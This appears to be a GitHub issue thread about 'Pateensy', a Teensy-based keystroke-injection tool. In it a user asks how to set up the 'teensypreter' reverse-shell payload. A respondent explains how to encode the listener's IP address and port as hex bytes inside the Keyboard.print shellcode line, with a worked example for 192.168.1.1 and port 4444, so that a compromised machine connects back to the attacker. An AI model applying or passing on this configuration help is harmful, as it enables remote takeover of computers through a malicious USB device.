Pateensy
Pateensy copied to clipboard
teensypreter payload help
Please help on including IP address and port number, I could not fully understand the comments and tried different values on the payload but it gives off different port number when deploying and no connect back to the listener. Can you please elaborate and give example.
Keyboard.print("[0x@@,0x@@,0x@@,0x@@],0x68,0x02,0x00,[0x@@,0x@@],0");
The [0x@@,0x@@,0x@@,0x@@]
should be replaced by your IP in hex so,
Keyboard.print("[0x@@,0x@@,0x@@,0x@@],0x68,0x02,0x00,[0x@@,0x@@],0");
would become
Keyboard.print("0xC0,0xA8,0x01,0x01,0x68,0x02,0x00,[0x@@,0x@@],0");
, if you had an IP address of 192.168.1.1.
I would use a converter like http://www.rapidtables.com/convert/number/decimal-to-hex.htm or http://ncalculators.com/digital-computation/ip-address-hex-decimal-binary.htm.
In both cases you would need to change your data to one byte to fit into the format. The commenting contains an explanation an example for the port, so I won't go into it.
Remember to remove the brackets.
So the hex of port 4444 would be [0x11,0x5C] correct?
It's been a while since I've played with this stuff, but yes that should be correct.